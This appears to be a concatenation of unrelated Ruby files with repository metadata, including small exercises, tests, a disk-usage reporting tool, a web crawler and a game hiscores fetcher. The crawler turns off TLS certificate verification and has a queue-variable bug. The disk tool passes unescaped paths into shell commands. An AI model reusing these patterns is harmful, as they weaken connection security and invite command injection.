# This script makes sure that each entry is unique and lowercase. require 'pathname' DEFAULT_DATA = Pathname(__dir__).join("../words3.txt") data = ARGV[0] && Pathname(ARGV[0]) || DEFAULT_DATA xs = IO.readlines(data.realpath); ys = xs.sort .map(&:chomp) .map(&:downcase) .inject([]){|mem,obj| mem.last == obj ? mem : mem << obj } IO.write(data.realpath, ys.join("\n"))
true
8d367ce0fb6d95787e4f3ec91253152f93029a07
Ruby
lisavogtsf/gluten_free
/people.rb
UTF-8
3,684
4
4
[]
no_license
# Lisa Vogt # August 13, 2014 # * Create a Person class. A person will have a stomach and allergies # * Create a method that allows the person to eat and add arrays of ingredients to their stomachs # * If a food array contains a known allergy reject the food. # When a person attempts to eat a food they are allergic to, tell them `AllergyError` # Bonus: When a person attempts to eat a food they are allergic to, ... remove ALL the food from the person's stomach before telling them AllergyError # Run at the command line, $ ruby people.rb name class Person attr_accessor :name, :allergies, :stomach def initialize(name, allergies) @name = name @allergies = allergies @stomach = [] end def diet if @allergies.length == 0 puts "#{@name} eats everything" else puts "#{@name} is allergic to #{@allergies.join(" and ")}" end end def eat(food) # add arrays of food to stomach @stomach.push(food) end def digest # #works on current contents of stomach # puts "Digesting ..." # puts self.stomach stomach.each do |food| # puts food food.each do |ingredient| # puts "Just an ingredient: #{ingredient}" allergies.each do |allergen| if ingredient == allergen @stomach = [] puts "------Oh no! #{@name} puked!" puts "------AllergyError: #{ingredient}" # need to empty stomach and break loops break end end end end end end ## Tester text ## People friends = [] monica = Person.new("Monica", ["gluten", "lactose"]) friends.push(monica) rachel = Person.new("Rachel", ["lactose"]) friends.push(rachel) ross = Person.new("Ross", ["scallops", "gluten"]) friends.push(ross) joey = Person.new("Joey", []) friends.push(joey) chandler = Person.new("Chandler", ["scallops", "lactose", "tomatoes"]) friends.push(chandler) puts "Five friends are going out to dinner, but they have some dietary restrictions: " friends.each do |friend| friend.diet end puts "----" ## Foods dishes = [] dish_names = [] pizza = ["cheese", "lactose", "crust", "gluten", "tomatoes"] dishes.push(pizza) dish_names.push("pizza") pan_seared_scallops = ["scallops", "lemons", "olive oil"] dishes.push(pan_seared_scallops) dish_names.push("pan_seared_scallops") caprese_salad = ["tomatoes", "olive oil", "cheese", "lactose"] dishes.push(caprese_salad) dish_names.push("caprese_salad") scallops_and_spaghetti = ["scallops", "olive oil", "pasta", "gluten"] dishes.push(scallops_and_spaghetti) dish_names.push("scallops_and_spaghetti") water = ["h", "h", "o"] dishes.push(water) dish_names.push("water") ## Can't seem to print out the names of the dishes, just the ingredients? # possibly mixing up array and hash # puts "On the menu there are the following dishes: " # puts dishes.join(", ") # for num in (0..friends.length) do # puts num # puts dishes[num] # end # Focus person orders # ARGV want 0 - 4 or 0 focus_num = ARGV[0].to_i % friends.length || 0 focus_person = friends[focus_num] puts "#{focus_person.name} is ordering for everyone" # puts "#{focus_person.name} orders randomly, and " order = rand(10) % 5 # puts order puts "#{focus_person.name} orders the #{dish_names[order]}" puts "----" # person eats it, results puts "Everybody eats the dish. Results?" friends.each do |friend| puts "#{friend.name} eats the #{dish_names[order]}" friend.eat(dishes[order]) friend.digest end
true
4abc613018ccf2f5f1b9948900329fbdf0f9685f
Ruby
teecay/StorageVisualizer
/lib/storage_visualizer.rb
UTF-8
18,166
2.8125
3
[]
no_license
#!/usr/bin/env ruby # @author Terry Case <[email protected]> # Copyright 2015 Terry Case # # Licensed under the Creative Commons, Version 3.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://creativecommons.org/licenses/by/3.0/us/ # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 'pp' require 'yaml' require 'date' require 'uri' require 'cgi' require 'json' class DirNode attr_accessor :parent attr_accessor :dir_name attr_accessor :dir_short attr_accessor :size_gb attr_accessor :children def initialize(parent_in, dir_name_in, dir_short_in, size_gb_in) self.parent = parent_in self.dir_name = dir_name_in self.dir_short = dir_short_in self.size_gb = size_gb_in self.children = [] end end class StorageVisualizer # Static def self.print_usage puts "\nThis tool helps visualize which directories are occupying the most storage. Any directory that occupies more than 5% of disk space is added to a visual hierarchichal storage report in the form of a Google Sankey diagram. The storage data is gathered using the linux `du` utility. It has been tested on Mac OSX, should work on linux systems, will not work on Windows. Run as sudo if analyzing otherwise inaccessible directories. May take a while to run\n" puts "\nCommand line usage: \n\t[sudo] storage_visualizer[.rb] [directory to visualize (default ~/) | -h (help) -i | --install (install to /usr/local/bin)]\n\n" puts "API usage: " puts "\tgem install storage_visualizer" puts "\t'require storage_visualizer'" puts "\tsv = StorageVisualizer.new('[directory to visualize, ~/ by default]')" puts "\tsv.run()\n\n" puts "A report will be created in the current directory named as such: StorageReport_2015_05_25-17_19_30.html" puts "Status messages are printed to STDOUT" puts "\n\n" end def self.install # This function installs a copy & symlink into /usr/local/bin, so the utility can simply be run by typing `storage_visualizer` # To install for command line use type: # git clone https://github.com/teecay/StorageVisualizer.git && ./StorageVisualizer/storage_visualizer.rb --install # To install for gem usage type: # gem install storage_visualizer script_src_path = File.expand_path(__FILE__) # File.expand_path('./StorageVisualizer/lib/storage_visualizer.rb') script_dest_path = '/usr/local/bin/storage_visualizer.rb' symlink_path = '/usr/local/bin/storage_visualizer' if (!File.exist?(script_src_path)) raise "Error: file does not exist: #{script_src_path}" end if (File.exist?(script_dest_path)) puts "Removing old installed script" File.delete(script_dest_path) end if (File.exist?(symlink_path)) puts "Removing old symlink" File.delete(symlink_path) end cp_cmd = "cp -f #{script_src_path} #{script_dest_path}" puts "Copying script into place: #{cp_cmd}" `#{cp_cmd}` ln_cmd = "ln -s #{script_dest_path} #{symlink_path}" puts "Installing: #{ln_cmd}" `#{ln_cmd}` chmod_cmd = "chmod ugo+x #{symlink_path}" puts "Setting permissions: #{chmod_cmd}" `#{chmod_cmd}` puts "Installation is complete, run `storage_visualizer -h` for help" end # To do: # x Make it work on mac & linux (CentOS & Ubuntu) # x Specify blocksize and do not assume 512 bytes (use the -k flag, which reports blocks as KB) # x Enable for filesystems not mounted at the root '/' # - Allow the threshold to be specified (default is 5%) # - Allow output filename to be specified # Maybe: # x Prevent paths on the graph from crossing (dirs with the same name become the same node) # - See if it would be cleaner to use the googlecharts gem (gem install googlecharts) # disk Bytes attr_accessor :capacity attr_accessor :used attr_accessor :available # disk GB for display attr_accessor :capacity_gb attr_accessor :used_gb attr_accessor :available_gb # other attr_accessor :target_dir attr_accessor :tree attr_accessor :tree_formatted attr_accessor :diskhash attr_accessor :threshold_pct attr_accessor :target_volume attr_accessor :dupe_counter # this is the root DirNode object attr_accessor :dir_tree # Constructor def initialize(target_dir_passed = nil) if (target_dir_passed != nil) expanded = File.expand_path(target_dir_passed) # puts "Target dir: #{expanded}" if (Dir.exist?(expanded)) self.target_dir = expanded else raise "Target directory does not exist: #{expanded}" end else # no target passed, use the user's home dir self.target_dir = File.expand_path('~') end # how much space is considered worthy of noting on the chart self.threshold_pct = 0.05 self.diskhash = {} self.tree = [] self.tree_formatted = '' self.dupe_counter = 0 end def format_data_for_the_chart # Build the list of nodes nodes = [] nodes.push(self.dir_tree) comparison_list = [] while true if (nodes.length == 0) break end node = nodes.shift comparison_list.push(node) nodes.concat(node.children) end # format the data for the chart working_string = "[\n" comparison_list.each_with_index do |entry, index| if (entry.parent == nil) next end if(index == comparison_list.length - 1) # this is the next to last element, it gets no comma working_string << "[ '#{entry.parent.dir_short}', '#{entry.dir_short}', #{entry.size_gb} ]\n" else # mind the comma working_string << "[ '#{entry.parent.dir_short}', '#{entry.dir_short}', #{entry.size_gb} ],\n" end end working_string << "]\n" self.tree_formatted = working_string end def write_storage_report the_html = %q|<html> <body> <script type="text/javascript" src="https://www.google.com/jsapi?autoload={'modules':[{'name':'visualization','version':'1.1','packages':['sankey']}]}"> </script> <style> td { font-family:sans-serif; font-size:8pt; } .bigger { font-family:sans-serif; font-size:10pt; font-weight:bold } </style> <div class="table"> <div class="bigger">Storage Report</div> <table> <tr> <td style="text-align:right">Disk Capacity:</td><td>| + self.capacity_gb + %q| GB</td> </tr> <tr> <td style="text-align:right">Disk Used:</td><td>| + self.used_gb + %q| GB</td> </tr> <tr> <td style="text-align:right">Free Space:</td><td>| + self.available_gb + %q| GB</td> </tr> </table> </div> <div id="sankey_multiple" style="width: 900px; height: 300px;"></div> <script type="text/javascript"> google.setOnLoadCallback(drawChart); function drawChart() { var data = new google.visualization.DataTable(); data.addColumn('string', 'From'); data.addColumn('string', 'To'); data.addColumn('number', 'Size (GB)'); data.addRows( | + self.tree_formatted + %q|); // Set chart options var options = { width: 1000, sankey: { iterations: 32, node: { label: { fontName: 'Arial', fontSize: 10, color: '#871b47', bold: false, italic: true } } }, }; // Instantiate and draw our chart, passing in some options. var chart = new google.visualization.Sankey(document.getElementById('sankey_multiple')); chart.draw(data, options); } </script> </body> </html>| filename = DateTime.now.strftime("./StorageReport_%Y_%m_%d-%H_%M_%S.html") puts "Writing html file #{filename}" f = File.open(filename, 'w+') f.write(the_html) f.close end def get_basic_disk_info # df -l gets info about locally-mounted filesystems output = `df -k` # OSX: # Filesystem 1024-blocks Used Available Capacity iused ifree %iused Mounted on # /dev/disk1 975912960 349150592 626506368 36% 87351646 156626592 36% / # localhost:/QwnJE6UBvlR1EvqouX6gMM 975912960 975912960 0 100% 0 0 100% /Volumes/MobileBackups # CentOS: # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/xvda1 82436764 3447996 78888520 5% / # devtmpfs 15434608 56 15434552 1% /dev # tmpfs 15443804 0 15443804 0% /dev/shm # Ubuntu: # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/xvda1 30832636 797568 28676532 3% / # none 4 0 4 0% /sys/fs/cgroup # udev 3835900 12 3835888 1% /dev # tmpfs 769376 188 769188 1% /run # none 5120 0 5120 0% /run/lock # none 3846876 0 3846876 0% /run/shm # none 102400 0 102400 0% /run/user # /dev/xvdb 30824956 45124 29207352 1% /mnt # Populate disk info into a hash of hashes # {"/"=> # {"capacity"=>498876809216, "used"=>434777001984, "available"=>63837663232}, # "/Volumes/MobileBackups"=> # {"capacity"=>498876809216, "used"=>498876809216, "available"=>0} # } # get each mount's capacity & utilization output.lines.each_with_index do |line, index| if (index == 0) # skip the header line next end cols = line.split # ["Filesystem", "1024-blocks", "Used", "Available", "Capacity", "iused", "ifree", "%iused", "Mounted", "on"] # line: ["/dev/disk1", "974368768", "849157528", "124699240", "88%", "106208689", "15587405", "87%", "/"] if cols.length == 9 # OSX self.diskhash[cols[8]] = { 'capacity' => (cols[1].to_i ).to_i, 'used' => (cols[2].to_i ).to_i, 'available' => (cols[3].to_i ).to_i } elsif cols.length == 6 # Ubuntu & CentOS self.diskhash[cols[5]] = { 'capacity' => (cols[1].to_i ).to_i, 'used' => (cols[2].to_i ).to_i, 'available' => (cols[3].to_i ).to_i } else raise "Reported disk utilization not understood" end end # puts "Disk mount info:" # pp diskhash # find the (self.)target_volume # look through diskhash keys, to find the one that most matches target_dir val_of_min = 1000 # puts "Determining which volume contains the target directory.." self.diskhash.keys.each do |volume| result = self.target_dir.gsub(volume, '') diskhash['match_amt'] = result.length # puts "Considering:\t#{volume}, \t closeness: #{result.length}, \t (#{result})" if (result.length < val_of_min) # puts "Candidate: #{volume}" val_of_min = result.length self.target_volume = volume end end puts "Target volume is #{self.target_volume}" self.capacity = self.diskhash[self.target_volume]['capacity'] self.used = self.diskhash[self.target_volume]['used'] self.available = self.diskhash[self.target_volume]['available'] self.capacity_gb = "#{'%.0f' % (self.capacity.to_i / 1024 / 1024)}" self.used_gb = "#{'%.0f' % (self.used.to_i / 1024 / 1024)}" self.available_gb = "#{'%.0f' % (self.available.to_i / 1024 / 1024)}" self.dir_tree = DirNode.new(nil, self.target_volume, self.target_volume, self.capacity) self.dir_tree.children.push(DirNode.new(self.dir_tree, 'Free Space', 'Free Space', self.available_gb)) end # Crawl the dirs recursively, beginning with the target dir def analyze_dirs(dir_to_analyze, parent) # bootstrap case # don't create an entry for the root because there's nothing to link to yet, scan the subdirs if (dir_to_analyze == self.target_volume) # puts "Dir to analyze is the target volume" # run on all child dirs, not this dir Dir.entries(dir_to_analyze).reject {|d| d.start_with?('.')}.each do |name| # puts "\tentry: >#{file}<" full_path = File.join(dir_to_analyze, name) if (Dir.exist?(full_path) && !File.symlink?(full_path)) # puts "Contender: >#{full_path}<" analyze_dirs(full_path, self.dir_tree) end end return end # use "P" to help prevent following any symlinks cmd = "du -sxkP \"#{dir_to_analyze}\"" puts "\trunning #{cmd}" output = `#{cmd}`.strip().split("\t") # puts "Du output:" # pp output size = output[0].to_i size_gb = "#{'%.0f' % (size.to_f / 1024 / 1024)}" # puts "Size: #{size}\nCapacity: #{self.diskhash['/']['capacity']}" # Occupancy as a fraction of total space # occupancy = (size.to_f / self.capacity.to_f) # Occupancy as a fraction of USED space occupancy = (size.to_f / self.used.to_f) occupancy_pct = "#{'%.0f' % (occupancy * 100)}" capacity_gb = "#{'%.0f' % (self.capacity.to_f / 1024 / 1024)}" # if this dir contains more than 5% of disk space, add it to the tree if (dir_to_analyze == self.target_dir) # puts "Dir to analyze is the target dir, space used outside this dir.." # account for space used outside of target dir other_space = self.used - size other_space_gb = "#{'%.0f' % (other_space / 1024 / 1024)}" parent.children.push(DirNode.new(parent, self.target_volume, 'Other Space', other_space_gb)) end if (occupancy > self.threshold_pct) # puts "Dir contains more than 5% of disk space: #{dir_to_analyze} \n\tsize:\t#{size_gb} / \ncapacity:\t#{capacity_gb} = #{occupancy_pct}%" puts "Dir contains more than 5% of used disk space: #{dir_to_analyze} \n\tsize:\t\t#{size_gb} / \n\toccupancy:\t#{self.used_gb} = #{occupancy_pct}% of used space" # puts "Dir to analyze (#{dir_to_analyze}) is not the target dir (#{self.target_dir})" dirs = dir_to_analyze.split('/') short_dir = dirs.pop().gsub("'","\\\\'") full_parent = dirs.join('/') if (dir_to_analyze == self.target_dir || full_parent == self.target_volume) # puts "Either this dir is the target dir, or the parent is the target volume, make parent the full target volume" short_parent = self.target_volume.gsub("'","\\\\'") else # puts "Neither this dir or parent is the target dir, making parent short" short_parent = dirs.pop().gsub("'","\\\\'") end this_node = DirNode.new(parent, dir_to_analyze, short_dir, size_gb) parent.children.push(this_node) # run on all child dirs Dir.entries(dir_to_analyze).reject {|d| d.start_with?('.')}.each do |name| full_path = File.join(dir_to_analyze, name) # don't follow any symlinks if (Dir.exist?(full_path) && !File.symlink?(full_path)) # puts "Contender: >#{full_path}<" analyze_dirs(full_path, this_node) end end end # occupancy > threshold end # function def traverse_tree_and_remove_duplicates puts "\nHandling duplicate entries.." nodes = [] nodes.push(self.dir_tree) comparison_list = [] while true if (nodes.length == 0) break end node = nodes.shift comparison_list.push(node) # pp node if node.parent == nil # puts "\tparent: no parent \n\tdir: #{node.dir_name} \n\tshort: #{node.dir_short} \n\tsize: #{node.size_gb}" else # puts "\tparent: #{node.parent.dir_short.to_s} \n\tdir: #{node.dir_name} \n\tshort: #{node.dir_short} \n\tsize: #{node.size_gb}" end nodes.concat(node.children) end # puts "Done building node list" for i in 0..comparison_list.length do for j in 0..comparison_list.length do if (comparison_list[i] != nil && comparison_list[j] != nil) if (i != j && comparison_list[i].dir_short == comparison_list[j].dir_short) puts "\t#{comparison_list[i].dir_short} is the same as #{comparison_list[j].dir_short}, changing to #{comparison_list[j].dir_short}*" comparison_list[j].dir_short = "#{comparison_list[j].dir_short}*" end end end end puts "Duplicate handling complete" end def run self.get_basic_disk_info self.analyze_dirs(self.target_dir, self.dir_tree) self.traverse_tree_and_remove_duplicates self.format_data_for_the_chart self.write_storage_report end end def run if (ARGV.length > 0) if (ARGV[0] == '-h') StorageVisualizer.print_usage() return elsif (ARGV[0] == '-i' || ARGV[0] == '--install') StorageVisualizer.install StorageVisualizer.print_usage return end vs = StorageVisualizer.new(ARGV[0]) else vs = StorageVisualizer.new() end # puts "\nRunning visualization" vs.run() # puts "dumping tree: " # pp vs.tree # puts "Formatted tree\n#{vs.tree_formatted}" end # Detect whether being called from command line or API. If command line, run if (File.basename($0) == File.basename(__FILE__)) # puts "Being called from command line - running" run else # puts "#{__FILE__} being loaded from API, not running" end
true
5458519e8b63bce252b9242cc0e7923b55090385
Ruby
davidhuff2014/testproject
/good_dog.rb
UTF-8
427
3.796875
4
[]
no_license
module Speak def speak(sound) puts "#{sound}" end end # defines a good dog class GoodDog include Speak end # what people do too much of class HumanBeing include Speak end # sparky = GoodDog.new # sparky.speak('Arf!') # bob = HumanBeing.new # bob.speak('Hello!') puts '--- GoodDog ancestors---' puts GoodDog.ancestors puts '' puts '---HumanBeing ancestors---' puts HumanBeing.ancestors
true
fddc3e91bd77c7200bcbfc71ffe5505b920f2c81
Ruby
nessamurmur/codeclimate-services
/test/invocation_test.rb
UTF-8
2,916
2.546875
3
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
require File.expand_path('../helper', __FILE__) class TestInvocation < Test::Unit::TestCase def test_success service = FakeService.new(:some_result) result = CC::Service::Invocation.invoke(service) assert_equal 1, service.receive_count assert_equal :some_result, result end def test_retries service = FakeService.new service.raise_on_receive = true error_occurred = false begin CC::Service::Invocation.invoke(service) do |i| i.with :retries, 3 end rescue error_occurred = true end assert error_occurred assert_equal 1 + 3, service.receive_count end def test_metrics statsd = FakeStatsd.new CC::Service::Invocation.invoke(FakeService.new) do |i| i.with :metrics, statsd, "a_prefix" end assert_equal 1, statsd.incremented_keys.length assert_equal "services.invocations.a_prefix", statsd.incremented_keys.first end def test_metrics_on_errors statsd = FakeStatsd.new service = FakeService.new service.raise_on_receive = true error_occurred = false begin CC::Service::Invocation.invoke(service) do |i| i.with :metrics, statsd, "a_prefix" end rescue error_occurred = true end assert error_occurred assert_equal 1, statsd.incremented_keys.length assert_match /^services\.errors\.a_prefix/, statsd.incremented_keys.first end def test_error_handling logger = FakeLogger.new service = FakeService.new service.raise_on_receive = true result = CC::Service::Invocation.invoke(service) do |i| i.with :error_handling, logger, "a_prefix" end assert_nil result assert_equal 1, logger.logged_errors.length assert_match /^Exception invoking service: \[a_prefix\]/, logger.logged_errors.first end def test_multiple_middleware service = FakeService.new service.raise_on_receive = true logger = FakeLogger.new result = CC::Service::Invocation.invoke(service) do |i| i.with :retries, 3 i.with :error_handling, logger end assert_nil result assert_equal 1 + 3, service.receive_count assert_equal 1, logger.logged_errors.length end private class FakeService attr_reader :receive_count attr_accessor :raise_on_receive def initialize(result = nil) @result = result @receive_count = 0 end def receive @receive_count += 1 if @raise_on_receive raise "Boom" end @result end end class FakeStatsd attr_reader :incremented_keys def initialize @incremented_keys = Set.new end def increment(key) @incremented_keys << key end def timing(key, value) end end class FakeLogger attr_reader :logged_errors def initialize @logged_errors = [] end def error(message) @logged_errors << message end end end
true
92759e9ed09523b228b260a28dcd19047a9b5769
Ruby
peckapp/webservice
/app/workers/crawl/crawler.rb
UTF-8
3,758
2.65625
3
[]
no_license
module Crawl # this class handles the main crawl loop and dispatches other workers to parse individual pages class Crawler include Sidekiq::Worker include Sidetiq::Schedulable recurrence { daily } # bloom filter as a persistent class variable # use is for efficiency, not accuracy, so occasional race conditions won't matter if integrity is maintained # could fork bloomfilter-rb gem to add locking if necessary... @@bf = nil def perform(*_attrs) CrawlSeed.all.each do |seed| crawl_loop(seed.url, seed.institution_id) if seed.active end end private def crawl_loop(seed_url, inst_id, timeout = 8, page_quantity = 15_000, bf_bits = 15) # mechanize agent to perform the link traversals, no ssl verification for crawling process to eliminate certificate errors agent = Mechanize.new { |a| a.ssl_version, a.verify_mode = 'SSLv3', OpenSSL::SSL::VERIFY_NONE } agent.read_timeout = timeout agent.open_timeout = timeout # queue to store the links for this crawl crawl_queue = [] # bloom filter to prevent repeated page crawls, instantiated only if currently nil k = (0.7 * bf_bits).ceil @@bf = BloomFilter::Native.new(size: page_quantity, hashes: k, seed: 1) if @@bf.blank? seed_host = URI(seed_url).host.to_s # host of the seed url used for domain matching # inserts a url into the queue as a seed crawl_queue.insert(0, seed_url) until @crawl_queue.empty? url = @crawl_queue.pop page = agent.get(url) next unless page.is_a? Mechanize::Page page.links.each do |l| next if @@bf.include?(l.href.to_s) # link has already been traversed @@bf.insert(l.href.to_s) # otherwise insert it # necessary conditions for the link to be followed next unless acceptable_link_format?(l) && within_domain?(l.uri, seed_host) begin # add the link string to the front of the queue crawl_queue.insert(0, l.to_s) rescue Timeout::Error # resuest timed out, could repeat it or add to queue, but for now just continue on rescue Mechanize::ResponseCodeError => exception # handle various response code errors if exception.response_code == '403' new_page = exception.page else raise # Some other error, re-raise for now end end ### Sends off the task asynchronously to another worker ### PageCrawlAnalyzer.perform_async(new_page.uri.to_s, inst_id) # sleep time to keep the crawl interval unpredictable and prevent lockout from certain sites sleep(1 + rand) end # end inner link traversal end # end outer while loop end # end crawl_loop method ### utility methods for the crawler def acceptable_link_format?(link) begin return false if link.to_s.match(/#/) || link.uri.to_s.empty? # handles anchor links within the page scheme = link.uri.scheme return false if (!scheme.nil?) && (scheme != 'http') && (scheme != 'https') # eliminates non http,https, or relative links # prevents download of media files, should be a better way to do this than by explicit checks for each type return false if link.to_s.match(/.pdf|.jgp|.jgp2|.png|.gif/) rescue return false end true end def within_domain?(link, root) if link.relative? true # handles relative links within the site else # matches the current links host with the top-level domain string of the seed URI link.host.match(root.to_s) ? true : false end end end end
true
5055d6c76603fabaab4c59f8d34896e1ba9f1906
Ruby
sbcn7/atcoder-by-ruby
/abc008/D.rb
UTF-8
240
3.140625
3
[]
no_license
# http://abc008.contest.atcoder.jp/tasks/abc008_4 W, H = gets.split.map(&:to_i) N = gets.to_i XY = [] N.times do XY.push gets.split.map(&:to_i) end XY.permutation(N) do |xy| xy.each do |x, y| # 金塊を回収したい end end
true
981f8ae2a0582d78c2e7d61273bf6c96cf287f95
Ruby
saheb222/ruby_practice
/basics/gsub_hackerrank.rb
UTF-8
292
3.515625
4
[]
no_license
def strike(str) "<strike>#{str}</strike>" end def mask_article(str,str_arr=[]) my_str = str str_arr.each do |ar_str| if my_str.include?(ar_str) my_str = my_str.gsub("#{ar_str}",strike(ar_str)) end end my_str end puts mask_article("i am saheb seikh",["i","seikh"])
true
fd71f6b00a022ff7389e2fd52fa311f570fda015
Ruby
teoucsb82/pokemongodb
/lib/pokemongodb/pokemon/farfetchd.rb
UTF-8
1,327
2.71875
3
[]
no_license
class Pokemongodb class Pokemon class Farfetchd < Pokemon def self.id 83 end def self.base_attack 138 end def self.base_defense 132 end def self.base_stamina 104 end def self.buddy_candy_distance 2 end def self.capture_rate 0.24 end def self.cp_gain 18 end def self.description "Farfetch'd is always seen with a stalk from a plant of some sort. Apparently, there are good stalks and bad stalks. This Pokémon has been known to fight with others over stalks." end def self.egg_hatch_distance 5 end def self.flee_rate 0.09 end def self.height 0.8 end def self.max_cp 1263.89 end def self.moves [ Pokemongodb::Move::FuryCutter, Pokemongodb::Move::Cut, Pokemongodb::Move::AerialAce, Pokemongodb::Move::AirCutter, Pokemongodb::Move::LeafBlade ] end def self.name "farfetchd" end def self.types [ Pokemongodb::Type::Normal, Pokemongodb::Type::Flying ] end def self.weight 15.0 end end end end
true
589d3c0cd41a0cecbd255258c486ccc1714379de
Ruby
clynchga/class_4_hw
/name_programs.rb
UTF-8
390
4.1875
4
[]
no_license
# Write a program that asks the user for her name and greets her with her name puts "Enter your name " username = gets.chomp.capitalize puts "Hello #{username}!" # Change the previous name program such that only the users Jack or Jill are greeted puts "Enter your name " username = gets.chomp.capitalize if username == "Jack" || username == "Jill" puts "Hello #{username}!" else end
true
fef83c3a0d90d900dde713d8734b7f5d029b9c8d
Ruby
puremana/f2pehp
/app/services/hiscores.rb
UTF-8
5,761
2.59375
3
[ "BSD-3-Clause", "MIT" ]
permissive
require 'open-uri' class Hiscores extend Base REG_MODE = %w[Reg].freeze IRONMAN_MODES = %w[UIM HCIM IM].freeze ALL_MODES = %w[UIM HCIM IM Reg].freeze class << self def fetch_stats_by_acc(player_name, account_type) stats_uri = api_url(account_type, player_name) res = fetch(stats_uri) if res data = res.split("\n") parsed_data = parse_stats(data) return parsed_data else return false end end def fetch_stats(player_name, account_type: nil) parse_fields = [parse_fields] unless Array === parse_fields modes = if account_type # Retrieve a `modes` list of hierarchy to check total exps in order. # For UIM: [UIM, IM, Reg] # For HCIM: [HCIM, IM, Reg] # For IM: [IM, Reg] # For Reg: [Reg] case account_type when *REG_MODE REG_MODE when *IRONMAN_MODES ancestors = Player.account_type_ancestors[account_type.to_sym] [account_type] + ancestors else raise ArgumentError, 'account type not recognized' end else ALL_MODES end stats = [] threads = [] stats_mutex = Mutex.new uri_per_mode = modes.map { |mode| api_url(mode, player_name) } uri_per_mode.each_with_index do |uri, mode_idx| threads << Thread.new(uri, mode_idx, stats) do |uri, mode_idx, stats| # Raise exceptions in main thread so they can be caught. Thread.current.abort_on_exception = true res = fetch(uri) # No hiscores data for this mode, skip. next unless res data = res.split("\n") parsed_data = parse_stats(data, parse_fields) stats_mutex.synchronize { stats << [parsed_data, mode_idx] } end end threads.each(&:join) return if stats.empty? # Find the mode with the highest amount of total exp. actual_stats, mode_idx = stats.sort_by do |mode_stats_idx| mode_stats, idx = mode_stats_idx [-mode_stats['overall_xp'], idx] end.first [actual_stats, modes[mode_idx]] end def hcim_dead?(player_name) uri = table_url("hcim", player_name) begin content = fetch(uri) rescue SocketError, Net::ReadTimeout Rails.logger.warn "#{player_name}'s HCIM hiscores retrieval failed" return false end return false unless content page = Nokogiri::HTML(content) page.xpath('//*[@id="contentHiscores"]/table/tbody/tr[contains(@class, "--dead")]/td/a/span') .first .present? end def get_registered_player_name(account_type, player_name) uri = table_url(account_type, player_name) begin content = fetch(uri) rescue SocketError, Net::ReadTimeout Rails.logger.warn "#{player_name}'s hiscores retrieval failed" return false end page = Nokogiri::HTML(content) el = page.xpath('//*[@id="contentHiscores"]/table/tbody/tr/td/a/span') .first return el.inner_html.force_encoding('utf-8') if el return player_name # player is unranked for overall level false end private def url_friendly_name(player_name) ERB::Util.url_encode(player_name).gsub(/(%C2)*%A0/, '_') end def api_url(account_type, player_name) unless account_type.in? Player.account_types raise ArgumentError, 'account type not recognized' end path_suffix = { HCIM: '_hardcore_ironman', UIM: '_ultimate', IM: '_ironman' } URI.join( 'https://services.runescape.com', "m=hiscore_oldschool#{path_suffix[account_type.to_sym]}/index_lite.ws", "?player=#{url_friendly_name(player_name)}" ) end def table_url(account_type, player_name) path = 'hiscore_oldschool' path_suffix = { HCIM: '_hardcore_ironman', UIM: '_ultimate', IM: '_ironman' } URI.join( 'https://secure.runescape.com', "m=#{path}#{path_suffix[account_type.to_sym]}/overall.ws", "?user=#{url_friendly_name(player_name)}" ) end def parse_stats(data, restrict_fields = []) stats = { potential_p2p: 0 } fields = F2POSRSRanks::Application.config.skills.map.with_index # Select field names and indices that need to be parsed in compliance # with optional whitelist from `restrict_fields`. if restrict_fields.any? fields = fields.select { |f, i| f.in? restrict_fields } end fields.each do |skill, skill_idx| rank, lvl, xp = data[skill_idx].split(',').map { |x| [x.to_i, 0].max } rank = rank lvl = lvl xp = xp if rank.nil? or lvl.nil? raise ArgumentError, "invalid API stats" end case skill when 'p2p' stats[:potential_p2p] += xp when 'p2p_minigame' stats[:potential_p2p] += lvl when 'lms' stats[:lms_score] = lvl stats[:lms_rank] = rank when 'obor_kc' stats[:obor_kc] = lvl stats[:obor_kc_rank] = rank when 'bryophyta_kc' stats[:bryo_kc] = lvl stats[:bryo_kc_rank] = rank when 'clues_all', 'clues_beginner' stats[skill] = lvl stats["#{skill}_rank"] = rank when 'hitpoints' stats["#{skill}_lvl"] = [lvl, 10].max stats["#{skill}_xp"] = [xp, 1154].max else stats["#{skill}_lvl"] = lvl stats["#{skill}_xp"] = xp stats["#{skill}_rank"] = rank end end stats end end end
true
5232c1adb224409ac3484e6e6a6f1dc2ce3d5305
Ruby
RaphaelwHuang/Set-Game
/testing/test_deck.rb
UTF-8
1,046
3.078125
3
[]
no_license
require_relative '../board' require "test/unit" class TestDeck < Test::Unit::TestCase # Author: Sunny Patel - 2/5 def test_deck_init assert_nothing_raised {Deck.new} end # Author: Sunny Patel - 2/5 def test_deck_draw_fullDeck deck = Deck.new assert_nothing_raised {deck.draw} end # Author: Sunny Patel - 2/5 def test_deck_draw_emptyDeck deck = Deck.new assert_nothing_raised {81.times {deck.draw}} end # Author: Sunny Patel - 2/5 def test_deck_size_fullDeck deck = Deck.new assert_equal(81, deck.size, "Expected size of 81.") end # Author: Sunny Patel - 2/5 def test_deck_size_emptyDeck deck = Deck.new 81.times {deck.draw} assert_equal(0, deck.size, "Expected size of 81.") end # Author: Sunny Patel - 2/5 def test_deck_display_size_fullDeck print "Expected size of 81: Found " Deck.new.display_size end # Author: Sunny Patel - 2/5 def test_deck_display_size_emptyDeck deck = Deck.new 81.times {deck.draw} print "Expected size of 0: Found " deck.display_size end end
true
5b97fa7c5a7f367badaff654e3566525e71c6ff6
Ruby
inem/lazibi
/lib/filter/optional_end_filter.rb
UTF-8
3,157
2.515625
3
[ "MIT" ]
permissive
